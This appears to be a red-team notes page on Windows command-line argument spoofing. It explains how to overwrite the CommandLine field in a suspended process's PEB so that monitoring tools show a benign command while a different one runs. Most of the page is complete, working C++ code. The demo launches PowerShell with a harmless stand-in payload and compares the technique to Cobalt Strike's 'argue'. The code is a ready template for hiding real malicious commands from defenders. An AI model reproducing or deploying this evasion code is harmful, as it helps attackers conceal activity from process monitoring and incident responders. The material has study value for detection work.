# Command Line Argument Spoofing

The PEB of a process holds the command line arguments of a process. This PEB resides in usermode which means that we can spoof our command line arguments as an unprivileged user.&#x20;

Lets use WinDBG to see how this looks like.

To achieve this:&#x20;

1. **Create a suspended process**
2. **Find the Process Parameters field of the process**
3. **Find the RTL\_USER\_PROCESS\_PARAMETERS struct**
4. **Change the CommandLine field in RTL\_USER\_PROCESS\_PARAMETERS to spoof command line args**
5. **Resume process**

```cpp
#include <iostream>
#include <windows.h>
#include <winternl.h>
// https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%201%20-%20Powershell%20spawn%20with%20fake%20procexp%20args/code.cpp
#define CMD_TO_SHOW "powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'"
#define CMD_TO_EXEC L"powershell.exe -NoExit -c Write-Host This is just a friendly argument, nothing to see here;Write-Host Surprise, arguments spoofed\0"

typedef NTSTATUS(*NtQueryInformationProcess2)(
	IN HANDLE,
	IN PROCESSINFOCLASS,
	OUT PVOID,
	IN ULONG,
	OUT PULONG
	);

void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
	SIZE_T bytesRead;
	char* alloc;

	alloc = (char*)malloc(bytes);
	if (alloc == NULL) {
		return NULL;
	}

	if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
		free(alloc);
		return NULL;
	}

	return alloc;
}

BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
	SIZE_T bytesWritten;

	if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
		return false;
	}

	return true;
}

int main(int argc, char** canttrustthis)
{
	STARTUPINFOA si;
	PROCESS_INFORMATION pi;
	CONTEXT context;
	BOOL success;
	PROCESS_BASIC_INFORMATION pbi;
	DWORD retLen;
	SIZE_T bytesRead;
	PEB pebLocal;
	RTL_USER_PROCESS_PARAMETERS* parameters;

	printf("Argument Spoofing Example by @_xpn_\n\n");

	memset(&si, 0, sizeof(si));
	memset(&pi, 0, sizeof(pi));

	// Start process suspended
	success = CreateProcessA(
		NULL,
		(LPSTR)CMD_TO_SHOW,
		NULL,
		NULL,
		FALSE,
		CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
		NULL,
		"C:\\Windows\\System32\\",
		&si,
		&pi);

	if (success == FALSE) {
		printf("[!] Error: Could not call CreateProcess\n");
		return 1;
	}

	// Retrieve information on PEB location in process
	NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
	ntpi(
		pi.hProcess,
		ProcessBasicInformation,
		&pbi,
		sizeof(pbi),
		&retLen
	);

	// Read the PEB from the target process
	success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
	if (success == FALSE) {
		printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
		return 1;
	}

	// Grab the ProcessParameters from PEB
	parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
		pi.hProcess,
		pebLocal.ProcessParameters,
		sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
	);

	// Set the actual arguments we are looking to use
	WCHAR spoofed[] = CMD_TO_EXEC;
	success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));
	if (success == FALSE) {
		printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
		return 1;
	}

	/////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer /////////

	// Update the CommandLine length (Remember, UNICODE length here)
	DWORD newUnicodeLen = 139;

	success = writeProcessMemory(
		pi.hProcess,
		(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
		(void*)&newUnicodeLen,
		4
	);
	if (success == FALSE) {
		printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
		return 1;
	}

	// Resume thread execution*/
	ResumeThread(pi.hThread);
}
```

Tools like process hacker will log the clean arguments, but will execute the malicious arguments.&#x20;

![](https://216667902-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MfpNy7QBsIOaHJ1vcf-%2F-MgHMv24Nh6JbBjGmpkQ%2F-MgHMxvBNDIdiUe5LcaQ%2Fimage.png?alt=media\&token=4a285bbc-a202-4059-a81c-79361ccfa1c9)

This is also what Cobalt Strike's argue does.
